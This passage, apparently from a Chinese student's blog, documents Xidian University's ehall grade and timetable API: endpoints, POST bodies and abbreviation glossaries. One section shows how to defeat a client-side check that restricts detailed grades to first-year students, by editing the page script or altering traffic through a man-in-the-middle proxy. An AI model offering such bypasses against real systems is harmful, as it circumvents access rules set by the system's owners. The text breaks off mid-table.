class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年学期代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-2023-1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c1\"\u003e//学期学年代码,参考提前说明第二发\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;linkOpt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;and\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;builder\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;equal\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,由于是 POST,所以没有请求数据设置(有错请指正)。所以我们附在 POST 报文的数据是:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003edata:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*json\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;querySetting\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e将上面设置的请求数据编码为\u003c/span\u003e \u003cspan class=\"err\"\u003ejson\u003c/span\u003e \u003cspan class=\"err\"\u003e字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;*order\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;+XNXQDM,KCH,KXH\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;pageSize\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e1000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;pageNumber\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后返回的数据,基本上是坑爹的汉语拼音缩写,感觉大家应该会破译吧。毕竟人均黑虎阿福,都是会乌鸦坐飞机的。\u003c/p\u003e\n\u003ch4 id=\"关于那些坑爹的拼音缩写\"\u003e关于那些坑爹的拼音缩写\u003c/h4\u003e\n\u003cp\u003e我打开过网页的开发者模式,看到网络菜单有个请求,是向 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/cjcx/modules/cjcx.do\u003c/a\u003e 的 POST 请求。发送的也和上面的头差不多。然后他返回的信息,就是那些坑爹缩写的完整含义。实际上有好多,这里我只列出和查成绩相关的东西。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eXNXQDM\u003c/td\u003e\n\u003ctd\u003e学年学期(代码)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCM\u003c/td\u003e\n\u003ctd\u003e(学生)课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXSKCH\u003c/td\u003e\n\u003ctd\u003e(学生)课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eZCJ\u003c/td\u003e\n\u003ctd\u003e总成绩\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXF\u003c/td\u003e\n\u003ctd\u003e学分\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXS\u003c/td\u003e\n\u003ctd\u003e学时\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXDFSDM\u003c/td\u003e\n\u003ctd\u003e修读方式\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFZX\u003c/td\u003e\n\u003ctd\u003e修读类型\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXFJD\u003c/td\u003e\n\u003ctd\u003e绩点\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJDF\u003c/td\u003e\n\u003ctd\u003e积点分(绩点分)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBID\u003c/td\u003e\n\u003ctd\u003e教学班id\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCXCKDM\u003c/td\u003e\n\u003ctd\u003e重修重考\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFJG\u003c/td\u003e\n\u003ctd\u003e是否及格\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSFYX\u003c/td\u003e\n\u003ctd\u003e是否有效\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch4 id=\"为啥是学校想让你看到的\"\u003e为啥是\u0026#34;学校想让你看到的\u0026#34;\u003c/h4\u003e\n\u003cp\u003e我发现,正常情况下,只有大一新生才能看到自己成绩的排名和具体组成。我查看了页面的源代码,在 \u003ccode\u003etop/ehall.xidian.edu.cn/jwapp/cjcx/*default/modules/cjcx/dqxq/dqxq.js?av=一个时常变化的数\u003c/code\u003e 文件中,有以下几行:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-js\" data-lang=\"js\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// The tenth line.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//是否为大一学生(默认为否)西电大一学生可以查看成绩详情\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// The thirty-eighth line and below.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"nx\"\u003echeckIsDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003edqxnxqdm\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017-2018-1\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"c1\"\u003e//2017\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;90001\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003ejwlcgl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetRZLB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eroleId\u003c/span\u003e\u003cspan class=\"p\"\u003e)){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eurl\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eWIS_EMAP_SERV\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetAbsPath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/modules/cjcx/cxxsjbxx.do\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eBH_UTILS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edoSyncAjax\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;1\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eres\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003edatas\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ecxxsjbxx\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eextParams\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emsg\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003exznj\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eisDyxs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\t\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003e$\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ebhTip\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"nx\"\u003econtent\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;学生现在年级查询失败,请稍后再试...\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003estate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;danger\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e要想看倒也容易,在网页下载完这个文件但还没加载之前,改掉这俩地方。具体各位可以上网搜\u0026#34;如何在 Chrome 中修改网页代码\u0026#34;。或者使用 Charles 或者 mitproxy 搞中间人拦截,手动改包。\u003c/p\u003e\n\u003cp\u003e另外说明,这个文件感觉是包含了所有跟查成绩相关的代码,要想深入了解的话可以看看。我对这玩意居然没有加密混淆表示无法理解。\u003c/p\u003e\n\u003cp\u003e最后我想问的是,这是什么高年级歧视。如果是要”保护“老师的话,不如想想为啥我们学生会对某些老师敬而远之。\u003c/p\u003e\n\u003ch3 id=\"获取课表数据\"\u003e获取课表数据\u003c/h3\u003e\n\u003cp\u003e一般来说,获取到的数据是需要处理的。xidian-script 是处理成 iCalender 文件,一个国际上用来处理日历和备忘录的标准格式。我的程序计划是利用 Dart 的一个库,保存成 iCalender 。然后我在网上找到个课表的实现,试着套一下。\u003c/p\u003e\n\u003ch4 id=\"当前学期信息\"\u003e当前学期信息\u003c/h4\u003e\n\u003cp\u003e没错,这回我不打算自己合成了:-P\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/dqxnxq.do\u003c/a\u003e 发送 POST 请求。如果成功的话,在回复数据中的 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;dqxnxq\u0026#39;][\u0026#39;rows\u0026#39;][0][\u0026#39;DM\u0026#39;]\u003c/code\u003e 中,就会包含这个学期的数据,格式见上文的提前说明。\u003c/p\u003e\n\u003cp\u003e感觉其他类似的应用应该有类似的方式来获取目前的学期,或者是所有的学期号码。\u003c/p\u003e\n\u003ch4 id=\"获取开学日期\"\u003e获取开学日期\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/jshkcb/cxjcs.do\u003c/a\u003e 发送 POST 请求,发送的数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XN\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e\u0026#39;学期代码的第一个数字-学期代码的第二个数字\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e//学年\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;XQ\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e学期代码的最后一个数字\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 学期\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"err\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e获取的日期字符串在返回数据的 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;cxjcs\u0026#39;][\u0026#39;rows\u0026#39;][0][\u0026#34;XQKSRQ\u0026#34;]\u003c/code\u003e 中。\u003c/p\u003e\n\u003cp\u003e这个东西感觉是为了在显示课表对应日期的时候,找个基准。\u003c/p\u003e\n\u003ch4 id=\"获取课表初步数据\"\u003e获取课表初步数据\u003c/h4\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"http://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\" target=\"_blank\" rel=\"noopener\"\u003ehttp://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/xskcb.do\u003c/a\u003e 发送 POST 请求,发送数据如下:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;xskcb\u0026#39;]\u003c/code\u003e 提取信息。\u003c/p\u003e\n\u003cp\u003e查看 \u003ccode\u003e[\u0026#39;extParams\u0026#39;][\u0026#39;code\u0026#39;]\u003c/code\u003e 是否为 1。如果是的话,从 \u003ccode\u003e[\u0026#39;rows\u0026#39;]\u003c/code\u003e 提取数据,否则,从 \u003ccode\u003e[\u0026#39;extParams\u0026#39;][\u0026#39;msg\u0026#39;]\u003c/code\u003e 查看错误信息。\u003c/p\u003e\n\u003ch4 id=\"没在课表上的课\"\u003e没在课表上的课\u003c/h4\u003e\n\u003cp\u003e要是有门课没有在课表上,我们咋办?\u003c/p\u003e\n\u003cp\u003e给 \u003ca class=\"link\" href=\"https://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\" target=\"_blank\" rel=\"noopener\"\u003ehttps://ehall.xidian.edu.cn/jwapp/sys/wdkb/modules/xskcb/cxxsllsywpk.do\u003c/a\u003e 发送 POST 请求,发送数据为:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;XNXQDM\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"err\"\u003e当前学期信息字符串\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后从 \u003ccode\u003e[\u0026#39;datas\u0026#39;][\u0026#39;cxxsllsywpk\u0026#39;]\u003c/code\u003e 提取信息,剩下步骤与上面一致。\u003c/p\u003e\n\u003ch4 id=\"金智黑话翻译表\"\u003e金智黑话翻译表\u003c/h4\u003e\n\u003cp\u003e以下多数自己破译,有误请指正。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e缩写\u003c/th\u003e\n\u003cth\u003e含义\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCM\u003c/td\u003e\n\u003ctd\u003e课程名\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCH\u003c/td\u003e\n\u003ctd\u003e课程号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKXH\u003c/td\u003e\n\u003ctd\u003e教学班序号(课序号)\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCLBDM\u003c/td\u003e\n\u003ctd\u003e课程类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKCXZDM\u003c/td\u003e\n\u003ctd\u003e课程性质\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eXGXKLBDM\u003c/td\u003e\n\u003ctd\u003e校公选课类别\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eBJDM\u003c/td\u003e\n\u003ctd\u003e班级\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJASDM\u003c/td\u003e\n\u003ctd\u003e上课教室\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXLDM\u003c/td\u003e\n\u003ctd\u003e教学楼\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eJXBDM\u003c/td\u003e\n\u003ctd\u003e教学班序号\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKKDWDM\u003c/td\u003e\n\u003ctd\u003e开课单位\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSKJS\u003c/td\u003e\n\u003ctd\u003e授课教师\u003c/td\u003e\n\u003c/tr\u003e\n\u